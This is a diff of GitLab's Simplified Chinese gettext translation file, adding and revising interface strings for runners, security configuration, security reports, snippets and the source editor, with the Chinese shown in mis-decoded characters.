msgstr "å¤åˆ¶è¯´æ˜Ž"
msgid "Runners|Copy registration token"
-msgstr ""
+msgstr "å¤åˆ¶æ³¨å†Œä»¤ç‰Œ"
msgid "Runners|Deploy GitLab Runner in AWS"
msgstr "在 AWS 中部署 GitLab Runner"
@@ -29396,6 +29881,9 @@ msgstr "输入秒数。此超时时间优先级高于为项目设定的较低超
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr "对于æ¯ä¸ªè§£å†³æ–¹æ¡ˆï¼Œæ‚¨å°†é€‰æ‹©ä¸€ä¸ªå®¹é‡ã€‚ 1 通过自动扩展组é‡æ–°ç”Ÿæˆå¯ç”¨æš– HA。 2 å¯ç”¨çƒ­ HA,因为å³ä½¿èŠ‚点丢失,该æœåŠ¡ä¹Ÿå¯ç”¨ã€‚ 3 个或更多å¯ç”¨çƒ­ HA 和手动扩展runner组。"
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr "群组Runner"
@@ -29408,6 +29896,9 @@ msgstr "如果您ä¸é€‰æ‹© AWS VPC,runner将部署到您选择的 AWS 区域ä¸
msgid "Runners|Install a runner"
msgstr "安装Runner"
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr "最åŽè”ç³»"
@@ -29429,9 +29920,12 @@ msgstr "已生æˆæ–°çš„注册令牌ï¼"
msgid "Runners|New runner, has not connected yet"
msgstr "新的Runner,尚未连接"
-msgid "Runners|Not available to run jobs"
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
msgstr ""
+msgid "Runners|Not available to run jobs"
+msgstr "ä¸å¯ç”¨äºŽè¿è¡Œä½œä¸š"
+
msgid "Runners|Not connected"
msgstr "未连接"
@@ -29441,12 +29935,18 @@ msgstr "离线"
msgid "Runners|Online"
msgstr "在线"
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr "已暂åœ"
msgid "Runners|Platform"
msgstr "å¹³å°"
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr "属性å称"
@@ -29454,22 +29954,22 @@ msgid "Runners|Protected"
msgstr "å—ä¿æŠ¤"
msgid "Runners|Register a group runner"
-msgstr ""
+msgstr "注册一个群组runner"
msgid "Runners|Register a project runner"
-msgstr ""
+msgstr "注册一个项目runner"
msgid "Runners|Register a runner"
-msgstr ""
+msgstr "注册一个runner"
msgid "Runners|Register an instance runner"
-msgstr ""
+msgstr "注册一个实例runner"
msgid "Runners|Registration token"
-msgstr ""
+msgstr "注册令牌"
msgid "Runners|Registration token copied!"
-msgstr ""
+msgstr "注册令牌已å¤åˆ¶ï¼"
msgid "Runners|Revision"
msgstr "版本"
@@ -29480,6 +29980,9 @@ msgstr "Runner"
msgid "Runners|Runner #%{runner_id}"
msgstr "Runner #%{runner_id}"
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr "分é…给项目的runner"
@@ -29489,6 +29992,9 @@ msgstr "Runner 处于离线状æ€ï¼Œæœ€åŽè¿žæŽ¥æ˜¯åœ¨%{runner_contact}å‰"
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr "Runner 处于在线状æ€ï¼Œæœ€åŽè¿žæŽ¥æ˜¯åœ¨%{runner_contact}å‰"
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr "Runner 处于已暂åœçŠ¶æ€ï¼Œæœ€åŽè¿žæŽ¥æ˜¯åœ¨%{runner_contact}å‰"
@@ -29511,7 +30017,7 @@ msgid "Runners|Show Runner installation instructions"
msgstr "显示Runner安装说明"
msgid "Runners|Show runner installation and registration instructions"
-msgstr ""
+msgstr "显示runner安装和注册说明"
msgid "Runners|Something went wrong while fetching runner data."
msgstr "获å–Runneræ•°æ®æ—¶å‡ºé”™ã€‚"
@@ -29519,12 +30025,18 @@ msgstr "获å–Runneræ•°æ®æ—¶å‡ºé”™ã€‚"
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr "获å–标签建议时出现问题"
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr "åœæ­¢ Runner 接收新的作业。"
msgid "Runners|Tags"
msgstr "标签"
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr "æ­¤Runner与一个或多个项目相关è”。"
@@ -29577,26 +30089,32 @@ msgid "Runners|You can set up a specific runner to be used by multiple projects
msgstr "您å¯ä»¥è®¾ç½®ä¸€ä¸ªç‰¹å®šçš„Runner供多个项目使用,但是您ä¸èƒ½è®©å®ƒæˆä¸ºä¸€ä¸ªå…±äº«çš„Runner。"
msgid "Runners|You cannot assign to other projects"
-msgstr ""
+msgstr "您ä¸èƒ½åˆ†é…到其他项目"
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr "您已使用了%{quotaUsed},超出了共享æµæ°´çº¿æ—¶é—´é…é¢é™åˆ¶ï¼ˆ%{quotaLimit} )。"
+msgid "Runners|active"
+msgstr ""
+
msgid "Runners|group"
msgstr "群组"
-msgid "Runners|instance"
-msgstr "实例"
-
msgid "Runners|locked"
msgstr "å·²é”定"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
msgid "Runners|paused"
msgstr "已暂åœ"
-msgid "Runners|project"
-msgstr "项目"
-
msgid "Runners|shared"
msgstr "共享"
@@ -29675,21 +30193,6 @@ msgstr "SSL 验è¯"
msgid "SVG illustration"
msgstr "SVG图形"
-msgid "SastEntryPoints|Add Security Testing"
-msgstr "添加安全测试"
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr "æå‰æŠ“ä½å®‰å…¨æ¼æ´žï¼"
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr "GitLab å¯ä»¥æ‰«æ您的代ç ä»¥æŸ¥æ‰¾å®‰å…¨æ¼æ´žã€‚SAST å¯å¸®åŠ©æ‚¨å‡å°‘担心,增加构建。"
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr "如何设置 SAST?"
-
-msgid "SastEntryPoints|Learn more"
-msgstr "了解更多"
-
msgid "Satisfied"
msgstr "满足"
@@ -30023,7 +30526,7 @@ msgid "Searching by both author and message is currently not supported."
msgstr "ç›®å‰ä¸æ”¯æŒä½œè€…和消æ¯åŒæ—¶æœç´¢ã€‚"
msgid "Seats"
-msgstr ""
+msgstr "席ä½"
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr "席ä½ä½¿ç”¨æƒ…况数æ®ï¼Œæˆªè‡³ %{last_enqueue_time} (æ¯å¤©æ›´æ–°ï¼‰"
@@ -30055,6 +30558,9 @@ msgstr "Secret令牌"
msgid "Secure token that identifies an external storage request."
msgstr "识别外部存储请求的安全令牌。"
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "安全"
@@ -30079,6 +30585,9 @@ msgstr "安全报告已过时。请使用目标分支(%{targetBranchName})中的
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr "安全报告已过时。请在目标分支(%{targetBranchName})上è¿è¡Œ%{newPipelineLinkStart}æ–°çš„æµæ°´çº¿%{newPipelineLinkEnd}"
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr "当安全报告包å«æ–°æ¼æ´žæ—¶éœ€è¦åˆå¹¶è¯·æ±‚审批。"
@@ -30107,7 +30616,7 @@ msgid "SecurityApprovals|Requires approval for Denied licenses. %{linkStart}More
msgstr "当结果中包å«æ‹’ç»çš„许å¯è¯æ—¶æ ¸å‡†ä¸ºå¿…须。%{linkStart}更多信æ¯%{linkEnd}"
msgid "SecurityApprovals|Requires approval for decreases in test coverage. %{linkStart}Learn more.%{linkEnd}"
-msgstr "需è¦æ‰¹å‡†æ‰èƒ½é™ä½Žæµ‹è¯•è¦†ç›–率。%{linkStart}了解更多。%{linkEnd}"
+msgstr "测试覆盖率é™ä½Žï¼Œéœ€æ‰¹å‡†ã€‚%{linkStart}了解更多。%{linkEnd}"
msgid "SecurityApprovals|Requires approval for vulnerabilities. %{linkStart}Learn more.%{linkEnd}"
msgstr "需è¦å¯¹æ¼æ´žè¿›è¡Œå®¡æ‰¹ã€‚ %{linkStart}了解更多。%{linkEnd}"
@@ -30127,8 +30636,8 @@ msgstr "创建åˆå¹¶è¯·æ±‚时出错。"
msgid "SecurityConfiguration|Available with Ultimate"
msgstr "适用于旗舰版"
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
-msgstr "默认情况下,所有分æžå·¥å…·éƒ½ä¼šè¢«è°ƒç”¨ä»¥æ¶µç›–您项目中的所有语言。 并且åªåœ¨åˆå¹¶è¯·æ±‚中检测到相关语言时è¿è¡Œã€‚"
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
+msgstr ""
msgid "SecurityConfiguration|Compliance"
msgstr "åˆè§„性"
@@ -30142,8 +30651,8 @@ msgstr "é…置历å²"
msgid "SecurityConfiguration|Configure %{feature}"
msgstr "é…ç½® %{feature}"
-msgid "SecurityConfiguration|Configure via Merge Request"
-msgstr "通过åˆå¹¶è¯·æ±‚é…ç½®"
+msgid "SecurityConfiguration|Configure with a merge request"
+msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
msgstr "å¤åˆ¶ä»£ç å¹¶æ‰“å¼€ .gitlab-ci.yml 文件"
@@ -30154,8 +30663,8 @@ msgstr "ä»…å¤åˆ¶ä»£ç "
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr "无法获å–é…置数æ®ã€‚请刷新页é¢æˆ–ç¨åŽå†è¯•ã€‚"
-msgid "SecurityConfiguration|Create Merge Request"
-msgstr "创建åˆå¹¶è¯·æ±‚"
+msgid "SecurityConfiguration|Create merge request"
+msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
msgstr "自定义常è§çš„SAST设置以满足您的需求。此处所åšçš„é…置更改会覆盖GitLabæ供的é…置,并且ä¸ä¼šåŒ…å«åœ¨æ›´æ–°ä¸­ã€‚有关更多高级é…置选项的详细信æ¯ï¼Œè¯·å‚è§%{linkStart}GitLab SAST文档%{linkEnd}。"
@@ -30214,6 +30723,9 @@ msgstr "ä¿æŠ¤æ‚¨çš„项目"
msgid "SecurityConfiguration|Security testing"
msgstr "安全测试"
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr "工具的状æ€ä»…适用于默认分支,并基于 %{linkStart}最新æµæ°´çº¿%{linkEnd}。"
@@ -30223,6 +30735,9 @@ msgstr "å‡çº§æˆ–开始å…费试用"
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr "使用自定义设置。您ä¸ä¼šæ”¶åˆ°æ­¤å˜é‡çš„自动更新。 %{anchorStart}还原到默认%{anchorEnd}"
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr "åˆå¹¶è¯·æ±‚中的æ¼æ´žè¯¦ç»†ä¿¡æ¯å’Œç»Ÿè®¡"
@@ -30247,11 +30762,17 @@ msgstr "所有策略"
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr "分é…您的安全策略项目时出错"
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr "æè¿°"
msgid "SecurityOrchestration|Disabled"
-msgstr ""
+msgstr "ç¦ç”¨"
msgid "SecurityOrchestration|Edit policy"
msgstr "编辑策略"
@@ -30260,7 +30781,7 @@ msgid "SecurityOrchestration|Edit policy project"
msgstr "编辑策略项目"
msgid "SecurityOrchestration|Enabled"
-msgstr ""
+msgstr "å¯ç”¨"
msgid "SecurityOrchestration|Enforce security for this project. %{linkStart}More information.%{linkEnd}"
msgstr "强制此项目的安全性。 %{linkStart}更多信æ¯ã€‚%{linkEnd}"
@@ -30314,10 +30835,13 @@ msgid "SecurityOrchestration|Scan execution"
msgstr "扫æ执行"
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
+msgstr "扫æ执行策略åªèƒ½ç”±é¡¹ç›®æ‰€æœ‰è€…创建。"
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
-msgstr "在 %{branches} 上扫ææ¯ä¸€ä¸ª %{cadence}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
+msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
msgstr "在%{branches}上扫ææ¯ä¸ªæµæ°´çº¿"
@@ -30325,6 +30849,9 @@ msgstr "在%{branches}上扫ææ¯ä¸ªæµæ°´çº¿"
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr "安全策略项目已æˆåŠŸè¿žæŽ¥"
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr "选择一个项目æ¥å­˜å‚¨æ‚¨çš„安全策略。 %{linkStart}更多信æ¯ã€‚%{linkEnd}"
@@ -30335,7 +30862,7 @@ msgid "SecurityOrchestration|Sorry, your filter produced no results."
msgstr "对ä¸èµ·ï¼Œæ‚¨çš„过滤器没有产生任何结果。"
msgid "SecurityOrchestration|Status"
-msgstr ""
+msgstr "状æ€"
msgid "SecurityOrchestration|There was a problem creating the new security policy"
msgstr "创建新的安全策略时出现问题"
@@ -30346,6 +30873,12 @@ msgstr "此项目ä¸åŒ…å«ä»»ä½•å®‰å…¨ç­–略。"
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr "è¦æ‰©å¤§æ‚¨çš„æœç´¢èŒƒå›´ï¼Œè¯·åœ¨ä¸Šé¢æ›´æ”¹è¿‡æ»¤è§„则或选择ä¸åŒçš„安全策略项目。"
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr "更新扫æ执行策略"
@@ -30407,7 +30940,7 @@ msgid "SecurityReports|Create issue"
msgstr "创建议题"
msgid "SecurityReports|Create policy"
-msgstr ""
+msgstr "创建策略"
msgid "SecurityReports|Development vulnerabilities"
msgstr "å¼€å‘æ¼æ´ž"
@@ -30464,13 +30997,13 @@ msgid "SecurityReports|Manage and track vulnerabilities identified in projects w
msgstr "管ç†å’Œè·Ÿè¸ªæ‚¨ç»„内项目中å‘现的æ¼æ´žã€‚é…置安全测试时,此处显示项目中的æ¼æ´žã€‚"
msgid "SecurityReports|Manage and track vulnerabilities identified in your Kubernetes clusters. Vulnerabilities appear here after you create a scan execution policy in any project in this group."
-msgstr ""
+msgstr "在您的 Kubernetes 集群中管ç†å’Œè·Ÿè¸ªå·²è¯†åˆ«çš„æ¼æ´žã€‚您在此群组的任何项目中创建扫æ执行策略之åŽï¼Œæ¼æ´žæ˜¾ç¤ºåœ¨è¿™é‡Œã€‚"
msgid "SecurityReports|Manage and track vulnerabilities identified in your Kubernetes clusters. Vulnerabilities appear here after you create a scan execution policy in any project in this instance."
-msgstr ""
+msgstr "在您的 Kubernetes 集群中管ç†å’Œè·Ÿè¸ªå·²è¯†åˆ«çš„æ¼æ´žã€‚您在此实例的任何项目中创建扫æ执行策略之åŽï¼Œæ¼æ´žæ˜¾ç¤ºåœ¨è¿™é‡Œã€‚"
msgid "SecurityReports|Manage and track vulnerabilities identified in your Kubernetes clusters. Vulnerabilities appear here after you create a scan execution policy in this project."
-msgstr ""
+msgstr "在您的 Kubernetes 集群中管ç†å’Œè·Ÿè¸ªå·²ç»è¯†åˆ«çš„æ¼æ´žã€‚在您创建此项目的扫æ执行政策åŽï¼Œæ¼æ´žæ˜¾ç¤ºåœ¨è¿™é‡Œã€‚"
msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr "管ç†å’Œè·Ÿè¸ªæ‚¨çš„项目中å‘现的æ¼æ´žã€‚é…置安全测试时,此处会显示æ¼æ´žã€‚"
@@ -30482,7 +31015,7 @@ msgid "SecurityReports|Maximum selected projects limit reached"
msgstr "已达到最大选定项目é™åˆ¶"
msgid "SecurityReports|Monitor vulnerabilities across clusters"
-msgstr ""
+msgstr "跨集群监控æ¼æ´ž"
msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr "监控您所有项目中的æ¼æ´ž"
@@ -30512,10 +31045,10 @@ msgid "SecurityReports|No vulnerabilities found for this pipeline"
msgstr "æ­¤æµæ°´çº¿ä¸­æœªå‘现æ¼æ´ž"
msgid "SecurityReports|Oops, something doesn't seem right."
-msgstr "哎呀,看起æ¥ä¸æ­£ç¡®ã€‚"
+msgstr "看起æ¥ä¸æ­£ç¡®ã€‚"
msgid "SecurityReports|Operational vulnerabilities"
-msgstr ""
+msgstr "è¿è¥æ¼æ´ž"
msgid "SecurityReports|Project"
msgstr "项目"
@@ -30565,8 +31098,8 @@ msgstr "状æ€"
msgid "SecurityReports|Take survey"
msgstr "å‚加调查"
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
-msgstr "æ¼æ´žæŠ¥å‘Šæ˜¾ç¤ºé¡¹ç›®é»˜è®¤åˆ†æ”¯ä¸Šæœ€æ–°æˆåŠŸæµæ°´çº¿çš„结果,以åŠæœ€æ–°å®¹å™¨æ‰«æçš„æ¼æ´žã€‚%{linkStart}了解更多。%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
msgstr "下é¢çš„安全报告包å«ä¸€ä¸ªæˆ–多个无法解æžä¸”未记录的æ¼æ´žå‘现。下载作业输出中的产物以进行调查。确ä¿åˆ›å»ºçš„任何安全报告都符åˆç›¸å…³çš„ %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}。"
@@ -30598,6 +31131,9 @@ msgstr "å–消忽略时出错。"
msgid "SecurityReports|There was an error while generating the report."
msgstr "生æˆæŠ¥å‘Šæ—¶å‡ºé”™ã€‚"
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr "è¦æ‰©å¤§æœç´¢èŒƒå›´ï¼Œè¯·æ›´æ”¹æˆ–删除上é¢çš„筛选器。"
@@ -30641,7 +31177,7 @@ msgid "SecurityReports|Your feedback is important to us! We will ask again in a
msgstr "您的å馈对我们很é‡è¦ï¼æˆ‘们将在一周内å†æ¬¡è¯¢é—®ã€‚"
msgid "SecurityReports|scanned resources"
-msgstr ""
+msgstr "扫æ资æº"
msgid "See example DevOps Score page in our documentation."
msgstr "请å‚阅我们文档中的示例 DevOps Score 页é¢ã€‚"
@@ -30683,7 +31219,7 @@ msgid "Select a branch"
msgstr "选择分支"
msgid "Select a compliance framework to apply to this project. %{linkStart}Learn more.%{linkEnd}"
-msgstr ""
+msgstr "选择一个åˆè§„框架æ¥åº”用于此项目。%{linkStart}了解更多信æ¯ã€‚%{linkEnd}"
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr "请先从左侧边æ é€‰æ‹©ä¸€ä¸ªæ–‡ä»¶å¼€å§‹ç¼–辑,然åŽå°±å¯ä»¥æ交您的更改了。"
@@ -30736,6 +31272,9 @@ msgstr "选择迭代"
msgid "Select assignee"
msgstr "选择指派人"
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr "选择分支"
@@ -30940,9 +31479,6 @@ msgstr "Sentry事件"
msgid "Sep"
msgstr "9月"
-msgid "Separate topics with commas."
-msgstr "用逗å·åˆ†éš”主题。"
-
msgid "September"
msgstr "9月"
@@ -31042,8 +31578,17 @@ msgstr "仓库中没有相应的%{startTag}serverless.yml%{endTag}文件。"
msgid "Service"
msgstr "æœåŠ¡"
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
-msgstr "éœ€è¦ Service Accounts 密钥æ‰èƒ½æŽˆæƒ GitLab 部署您的 Google Cloud 项目。"
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
+msgstr ""
msgid "Service Desk"
msgstr "æœåŠ¡å°"
@@ -31054,6 +31599,9 @@ msgstr "æœåŠ¡å°å…许人们在没有自己的用户账å·çš„情况下在您的
msgid "Service URL"
msgstr "æœåŠ¡ URL"
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr "æœåŠ¡ ping 在您的é…置文件中被ç¦ç”¨ï¼Œå¹¶ä¸”无法通过此表å•å¯ç”¨ã€‚"
@@ -31099,6 +31647,9 @@ msgstr "å¼€å¯æœåŠ¡ ping"
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr "打开æœåŠ¡ping以查看实例级分æžã€‚"
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr "ä¼šè¯ ID"
@@ -31180,6 +31731,9 @@ msgstr "设置到期日期为%{due_date}。"
msgid "Set the iteration to %{iteration_reference}."
msgstr "将迭代设置为%{iteration_reference}。"
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr "设置 Web 终端的最长会è¯æ—¶é—´ã€‚"
@@ -31237,14 +31791,11 @@ msgstr "å°†æƒé‡è®¾ç½®ä¸º%{weight}。"
msgid "Set what should be replicated by this secondary site."
msgstr "设置此次è¦èŠ‚点应该å¤åˆ¶çš„内容。"
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "设置密ç "
-
msgid "SetStatusModal|Add status emoji"
msgstr "添加状æ€è¡¨æƒ…"
msgid "SetStatusModal|An indicator appears next to your name and avatar"
-msgstr ""
+msgstr "您的å字和头åƒæ—边显示标识。"
msgid "SetStatusModal|Busy"
msgstr "忙碌"
@@ -31311,10 +31862,7 @@ msgstr "强制设置"
msgid "Setting saved successfully"
msgid_plural "Settings saved successfully"
-msgstr[0] ""
-
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr "设置为 0 æ„味ç€ä½¿ç”¨ç³»ç»Ÿé»˜è®¤è¶…时值。"
+msgstr[0] "设置已æˆåŠŸä¿å­˜"
msgid "Settings"
msgstr "设置"
@@ -31380,7 +31928,28 @@ msgid "SharedRunnersMinutesSettings|Reset used pipeline minutes"
msgstr "é‡ç½®å·²ç”¨æµæ°´çº¿åˆ†é’Ÿæ•°"
msgid "Sherlock Transactions"
-msgstr "Sherlock事物"
+msgstr "Sherlock事务"
+
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr "如果您丢失手机或访问一次性密ç ï¼Œæ¯ä¸ªæ¢å¤ç éƒ½å¯ä»¥ä½¿ç”¨ä¸€æ¬¡ï¼Œä»¥é‡æ–°èŽ·å¾—您的å¸æˆ·è®¿é—®æƒé™ã€‚请将它们ä¿å­˜åœ¨å®‰å…¨çš„地方,å¦åˆ™æ‚¨%{boldStart}å°†%{boldEnd}无法访问您的å¸æˆ·ã€‚"
@@ -31397,6 +31966,9 @@ msgstr "显示所有 %{issuable_type}。"
msgid "Show all activity"
msgstr "显示所有活动"
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr "显示所有议题。"
@@ -31445,18 +32017,9 @@ msgstr "显示最新版本"
msgid "Show list"
msgstr "显示列表"
-msgid "Show me how to add a pipeline"
-msgstr "演示如何添加æµæ°´çº¿"
-
msgid "Show one file at a time"
msgstr "一次显示一个文件"
-msgid "Show parent pages"
-msgstr "查看上级页é¢"
-
-msgid "Show parent subgroups"
-msgstr "查看上级å­ç¾¤ç»„"
-
msgid "Show the Closed list"
msgstr "显示已关闭列表"
@@ -31490,7 +32053,7 @@ msgid "Showing all epics"
msgstr "显示所有å²è¯—"
msgid "Showing all issues"
-msgstr "显示所有议题"
+msgstr "已显示全部议题"
msgid "Showing data for group '%{group_name}' from Nov 1, 2019 to Dec 31, 2019"
msgstr "显示群组 “%{group_name}†从 2019 å¹´ 11 月 1 日到 2019 å¹´ 12 月 31 日的数æ®"
@@ -31721,7 +32284,7 @@ msgid "Smartcard authentication failed: client certificate header is missing."
msgstr "智能å¡èº«ä»½éªŒè¯å¤±è´¥ï¼šç¼ºå°‘客户端è¯ä¹¦æŠ¥å¤´ã€‚"
msgid "Snippet"
-msgstr ""
+msgstr "代ç ç‰‡æ®µ"
msgid "Snippets"
msgstr "代ç ç‰‡æ®µ"
@@ -31748,7 +32311,7 @@ msgid "SnippetsEmptyState|There are no snippets to show."
msgstr "没有è¦æ˜¾ç¤ºçš„代ç ç‰‡æ®µã€‚"
msgid "Snippets|%{spammable_titlecase} was submitted to Akismet successfully."
-msgstr ""
+msgstr "%{spammable_titlecase} å·²æˆåŠŸæ交给 Akismet。"
msgid "Snippets|Add another file %{num}/%{total}"
msgstr "添加å¦ä¸€ä¸ªæ–‡ä»¶%{num}/%{total}"
@@ -31760,7 +32323,7 @@ msgid "Snippets|Description (optional)"
msgstr "æè¿° (å¯é€‰)"
msgid "Snippets|Error with Akismet. Please check the logs for more info."
-msgstr ""
+msgstr "Akismet出错。请检查日志获å–更多信æ¯ã€‚"
msgid "Snippets|Files"
msgstr "文件"
@@ -31819,6 +32382,12 @@ msgstr "æœåŠ¡å™¨é”™è¯¯ã€‚ 请ç¨åŽå†è¯•ã€‚"
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "è¯•å›¾æ”¹å˜ %{issuableDisplayName} çš„é”定状æ€æ—¶å‡ºé”™äº†"
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr "é‡æ–°æŽ’åºè®¾è®¡æ—¶å‡ºäº†ç‚¹é—®é¢˜ã€‚请å†è¯•ä¸€æ¬¡"
@@ -31903,9 +32472,6 @@ msgstr "获å–æºåˆ†æ”¯æ—¶å‡ºé”™ã€‚"
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr "获å–æ­¤åˆå¹¶è¯·æ±‚的环境时出错,请ç¨åŽé‡è¯•ã€‚"
-msgid "Something went wrong while fetching the package."
-msgstr "获å–软件包时出错。"
-
msgid "Something went wrong while fetching the packages list."
msgstr "获å–软件包列表时出错。"
@@ -32182,9 +32748,6 @@ msgstr "æº(分支或标签)"
msgid "Source Branch"
msgstr "æºåˆ†æ”¯"
-msgid "Source Editor instance is required to set up an extension."
-msgstr "éœ€è¦ Source Editor 实例æ¥è®¾ç½®æ‰©å±•ã€‚"
-
msgid "Source IP"
msgstr "æºIP"
@@ -32203,6 +32766,33 @@ msgstr "æºä¸å¯ç”¨"
msgid "Source project cannot be found."
msgstr "找ä¸åˆ°æºé¡¹ç›®ã€‚"
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
